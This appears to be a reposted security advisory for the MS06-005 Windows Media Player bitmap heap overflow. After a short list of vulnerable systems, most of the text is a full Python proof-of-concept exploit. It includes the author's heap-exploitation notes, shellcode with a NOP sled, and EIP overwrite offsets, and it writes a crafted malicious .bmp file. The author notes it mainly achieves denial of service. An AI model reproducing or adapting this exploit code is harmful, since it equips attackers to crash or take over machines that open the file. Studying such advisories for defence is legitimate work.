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Windows Media Player Remote Code Execution MS06-005 - Exploit
------------------------------------------------------------------------
SUMMARY
Windows Media Player has a remote code execution due to bad processing of
bitmap files.
A specially crafted bitmap file (.bmp) could potentially allow remote code
execution if found on a Web site or in an e-mail message. This allows the
attacker to completely take over the attacked system but only with
significant user interaction.
DETAILS
Vulnerable Systems:
* Windows Media Player for XP on Microsoft Windows XP Service Pack 1
* Windows Media Player 9 on Microsoft Windows XP Service Pack 2
* Windows Media Player 9 on Microsoft Windows Server 2003
* Microsoft Windows 98
* Microsoft Windows 98 Second Edition (SE)
* Microsoft Windows Millennium Edition (ME)
* Microsoft Windows Media Player 7.1 when installed on Windows 2000
Service Pack 4
* Microsoft Windows Media Player 9 when installed on Windows 2000 Service
Pack 4 or Windows XP Service Pack 1
* Microsoft Windows Media Player 10 when installed on Windows XP Service
Pack 1 or Windows XP Service Pack 2
Immune Systems:
* Windows Media Player 6.4 on all Microsoft Windows operating systems
* Windows Media Player 10 on Microsoft Windows Server 2003 Service Pack 1
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft
Windows Server 2003 with SP1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition
# sploit creater by redsand@blacksecurity.org
# ms06-005 advisory proof of concept
# heap overflow in wmf.dll @ 0x0035920a
# denial of service, cuz we can't get this to play nice
# Here are my notes from ms06-005
#Original heap size is 16bytes?!
#malloc = 2052 (0x804)
# RtlAllocateHeap = 2064 (0x810)
#0x75de1408 call edi (ntdll.dll)
#crash @ wmp.dll 0x0035920a
#instruction at 0x75de5872 ref'd mem @ 0xefdeadc2 ( call ecx + 4)
#instruction at 0x07883301 ref'd mem @ DEADBEF7 (deadbeef + 4) (call ecx
+ 8)
#instruction at 0x079d920a ref'd mem @ 0xdeadbeef (mov edx, [eax]) eax=
deadbeef
#violation when reading 0x888888db (cf + c) mov eax, ds:[eax+c]
#locate 0xbc34bbbb needs valid EIP etc
#EIP = UEF location
#ea- 15e 936 = 464
#steps for exploitation:
#break @ all HeapAlloc()s and HeapFree()'s and look for xact size
requested
#once found heapalloc() and accompanying heapfree() of next heap look for
PEB structure address
#Find a reliable function pointer to shellcode and write heap header like
so:
#payload = body (size of heap) + [ECX ptr to code] + [EIP UEF pointer
location - 4]
#if multiple overwrite then:
#payload += body (next heap chunk size) + "\xeb\x04" + EIP
#call edi/eax + 4 or more
#call edi+20 @ 75e1692c
#!!!!!!!!!!!!!!
#don't forget to mention the random call ecx + 4,8,32
#mov dword ptr ecx, ds:[esi] <-- esi is RANDOM cuz i can't control it
#call [ecx+##] <-- where ## is often 4 or 8, but in some cases 0x20
#shamelessly stolen from CANVAS code
def intel_order(i):
str=""
a=chr(i % 256)
i=i >> 8
b=chr(i % 256)
i=i >> 8
c=chr(i % 256)
i=i >> 8
d=chr(i % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str
def stroverwrite(instring,overwritestring,offset):
head=instring[:offset]
#print head
tail=instring[offset+len(overwritestring):]
#print tail
result=head+overwritestring+tail
return result
#options
#SEH HAndle
#anything with a call/jmp edi/ecx + 4 or more
EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut
DUMMY=0xccccccccL
filename = "rbl4ck-06-005.bmp"
header =
"\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"
header +=
"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header +=
"\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"
c0de = "\x90" * 350
c0de += "\xCD\x03"
c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"
c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"
c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"
c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"
c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"
c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"
c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"
c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"
c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"
c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"
c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"
c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"
#tag
c0de += "0wn3dbyr3ds4nd"
for on in range(256):
c0de += intel_order(EIP-80)
body = ""
r=0x88888800L
for on in range(235):
r+=0x01L
body += intel_order(r)
body += c0de
body = stroverwrite(body,intel_order(EIP-4),56)
body = stroverwrite(body,intel_order(EIP),96)
body = stroverwrite(body,intel_order(EIP),160)
body = stroverwrite(body,intel_order(EIP-0x3c),708)
body = stroverwrite(body,intel_order(EIP),828)
body = stroverwrite(body,intel_order(EIP),868)
body = stroverwrite(body,intel_order(EIP),936)
#
#here's our call eax+4
body = stroverwrite(body,intel_order(EIP-4),948)
#
#
body = stroverwrite(body,intel_order(EIP),300)
print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org"
print "Writing filename " + filename + "..."
try:
fsock = open(filename, "wb+", 0)
try:
fsock.write(header + body );
finally:
fsock.close()
except IOError:
pass
print "success."
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:redsand@redsand.net>
redsand.
The original article can be found at:
<http://blacksecurity.org/~redsand/public/MS06-005/>
http://blacksecurity.org/~redsand/public/MS06-005/
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